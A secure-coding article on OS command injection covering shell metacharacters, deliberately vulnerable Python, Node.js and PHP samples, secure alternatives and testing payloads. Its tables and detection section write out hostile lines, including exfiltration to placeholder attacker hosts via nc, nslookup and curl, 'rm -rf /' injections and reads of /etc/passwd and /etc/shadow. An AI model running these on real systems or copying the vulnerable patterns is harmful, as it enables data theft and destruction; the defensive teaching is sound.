Shell Metacharacters: How Command Injection Works
TL;DR
Command injection ranks third in the OWASP Top 10 with 94% of applications tested showing some form of injection vulnerability. Attackers exploit shell metacharacters like ;, &, |, and ` to break out of intended commands and execute arbitrary code. The fix: avoid shell commands entirely when possible, use parameterized APIs, and apply strict allowlist validation on any user input that must reach a shell.
What is Command Injection?
Command injection occurs when an application constructs operating system commands using externally influenced input without properly neutralizing special characters. The result: attackers can execute arbitrary commands on the host system.
According to OWASP, injection vulnerabilities affect 94% of tested applications with a maximum incidence rate of 19%. The weakness is catalogued as CWE-78 (OS Command Injection) and remains one of the most dangerous vulnerability classes in web applications.
Why It鈥檚 So Dangerous
When a command injection vulnerability exists in a privileged process, the damage multiplies. Attacker-controlled commands run with whatever permissions the application has. If your web server runs as root (please don鈥檛), that鈥檚 root access for the attacker.
The consequences span the entire security triad:
- Confidentiality: Attackers read sensitive files, environment variables, and database credentials
- Integrity: Files get modified, backdoors installed, configurations changed
- Availability: Systems get disabled, data deleted, ransomware deployed
Worse, malicious activities appear to originate from the application itself, making attribution difficult. The same shell metacharacters that enable command injection also power attacks like malicious curl | bash scripts 路 the attack surface is everywhere.
Two Attack Patterns
CWE-78 identifies two primary subtypes:
Type 1: Argument Injection The application intends to execute a single, fixed program but uses external input as arguments. Example: an application that runs nslookup with a user-provided hostname. Attackers can鈥檛 prevent nslookup from running, but they can inject separators into arguments to chain additional commands.
Type 2: Direct Command Execution The application accepts input to select which program to run. If the command string is under attacker control, they execute anything.
The Metacharacter Reference
Shell metacharacters are the attack surface. These characters have special meaning to the shell interpreter and can break out of the intended context when not properly handled.
Command Separators
| Character | Name | Purpose | Attack Example |
|---|---|---|---|
; | Semicolon | Executes commands sequentially | filename; rm -rf / |
& | Ampersand | Background execution / separator | input & malicious_cmd |
| | Pipe | Passes output to next command | echo data | nc attacker.com 4444 |
Conditional Execution
| Character | Name | Purpose | Attack Example |
|---|---|---|---|
|| | OR | Executes if previous fails | false || malicious_cmd |
&& | AND | Executes if previous succeeds | true && malicious_cmd |
Command Substitution
| Character | Name | Purpose | Attack Example |
|---|---|---|---|
` | Backticks | Inline command substitution | echo `whoami` |
$() | Subshell | Modern command substitution | echo $(cat /etc/passwd) |
Redirection
| Character | Name | Purpose | Attack Example |
|---|---|---|---|
> | Redirect out | Writes output to file | cmd > /var/www/shell.php |
< | Redirect in | Reads input from file | cmd < /etc/shadow |
>> | Append | Appends output to file | echo "backdoor" >> ~/.bashrc |
Other Dangerous Characters
According to the WWW Security FAQ and David Wheeler鈥檚 Secure Programs HOWTO, these additional characters require attention:
!路 Negation in expressions, history expansion in bash#路 Comment character (ignores rest of line)-路 Option prefix (can disable further option parsing)$路 Variable expansion\路 Escape character"and'路 Quoting (can break out of quotes)- Space, tab, newline 路 Argument separators
Blind Detection Techniques
When output isn鈥檛 visible, attackers use time-based and out-of-band techniques:
Time-based:
; sleep 10
& ping -c 10 127.0.0.1
Out-of-band exfiltration:
; nslookup `whoami`.attacker-c2.com
$(curl https://attacker.com/?data=$(cat /etc/passwd | base64))
Vulnerable Code Patterns
Understanding what vulnerable code looks like helps you spot it in code review.
Python: The shell=True Trap
# VULNERABLE: shell=True with user input
import subprocess
def search_files(filename):
# User controls the filename parameter
cmd = f"find /var/data -name {filename}"
subprocess.run(cmd, shell=True) # Dangerous!
# Attacker input: ".txt; cat /etc/passwd"
# Executes: find /var/data -name .txt; cat /etc/passwd
The shell=True parameter tells Python to invoke the system shell, enabling all metacharacter interpretation.
Node.js: Spawning Shell Processes
// VULNERABLE: spawning shell with template strings
const { spawn } = require('child_process');
function convertImage(filename) {
// User controls the filename parameter
// Using shell: true enables metacharacter interpretation
spawn('convert', [filename, 'output.png'], { shell: true });
}
// Attacker input: "image.jpg; rm -rf /"
When shell: true is passed, Node.js spawns a shell process where metacharacters work.
PHP: The System Function Family
// VULNERABLE: system() with concatenated input
<?php
$host = $_GET['host'];
system("ping -c 4 " . $host); // Dangerous!
// Attacker input: "google.com; cat /etc/passwd"
// Executes: ping -c 4 google.com; cat /etc/passwd
?>
PHP鈥檚 system(), passthru(), and backtick operator all invoke the shell.
Prevention Techniques
The OWASP Command Injection Defense Cheat Sheet outlines three primary defenses, in order of preference.
Option 1: Avoid Shell Commands Entirely
The best defense is not needing one. Use built-in library functions instead of spawning external processes.
| Instead of | Use |
|---|---|
system("mkdir /path") | os.mkdir() / fs.mkdir() |
shell command for copy | shutil.copy() / fs.copyFile() |
shell command to read | file_get_contents() |
shell command for zip | zipfile module / archiver library |
Library functions cannot be manipulated to perform tasks beyond their intended scope.
Option 2: Parameterized Commands
If you must call external programs, never construct command strings. Pass arguments as arrays.
Python (Secure):
import subprocess
def search_files(filename):
# Arguments passed as list - no shell interpretation
subprocess.run(
["find", "/var/data", "-name", filename],
shell=False # Default, but explicit is better
)
Node.js (Secure):
const { execFile } = require('child_process');
function convertImage(filename) {
// execFile doesn't spawn a shell
execFile('convert', [filename, 'output.png'], (err, stdout) => {
// Process result
});
}
PHP (Secure):
<?php
$host = escapeshellarg($_GET['host']);
system("ping -c 4 " . $host);
// Better: use an array-based approach if available
// Or validate against strict allowlist
?>
Option 3: Input Validation
When shell interaction is unavoidable, apply strict validation in two layers:
Layer 1: Command Allowlist Only permit explicitly defined commands. Never let users specify arbitrary executables.
Layer 2: Argument Validation Apply the most restrictive validation possible:
^[a-z0-9]{3,10}$ # Only lowercase alphanumeric, 3-10 chars
^[0-9]{1,5}$ # Only digits, up to 5
^[a-zA-Z0-9._-]+$ # Alphanumeric plus limited safe characters
Characters to explicitly deny:
; & ` ' " | || && > < $ ( ) { } [ ] ! # - \n \r
The Principle of Least Privilege
Even with defenses in place, assume they might fail. Run applications with minimum required permissions:
- Don鈥檛 run web servers as root
- Use dedicated service accounts with restricted filesystem access
- Apply mandatory access controls (SELinux, AppArmor)
- Containerize applications with minimal capabilities
If command injection occurs, damage stays contained.
Detection and Testing
Code Review Checklist
When reviewing code, flag these patterns:
- [ ] Any use of
shell=True(Python) - [ ] Shell spawning with user input (Node.js)
- [ ]
system(),passthru(), backticks (PHP) - [ ] String concatenation building commands
- [ ] User input reaching any of the above
Automated Testing
Include injection testing in your CI/CD pipeline:
- SAST (Static Analysis): Catches vulnerable patterns in source code
- DAST (Dynamic Analysis): Tests running applications with malicious payloads
- IAST (Interactive): Combines both approaches during integration testing
Manual Testing Payloads
For authorized security testing, these payloads help identify vulnerabilities:
; id
| id
`id`
$(id)
& id
|| id
&& id
; sleep 10
| sleep 10
Test each input field, URL parameter, header, and cookie value.
Key Takeaways
Command injection remains prevalent because it鈥檚 easy to introduce and devastating when exploited. The fix follows a clear hierarchy:
- Don鈥檛 use shell commands 路 Library functions are safer
- Use parameterized APIs 路 Pass arguments as arrays, not strings
- Validate strictly 路 Allowlist characters, deny metacharacters
- Limit privileges 路 Assume defenses will fail
Every user input that reaches a shell is a potential attack vector. Treat them accordingly.
Sources
- OWASP Top 10 2021 A03: Injection 路 Vulnerability statistics and overview
- CWE-78: OS Command Injection 路 Canonical weakness definition
- OWASP Command Injection Defense Cheat Sheet 路 Prevention strategies
- David Wheeler鈥檚 Secure Programs HOWTO 路 Foundational metacharacter reference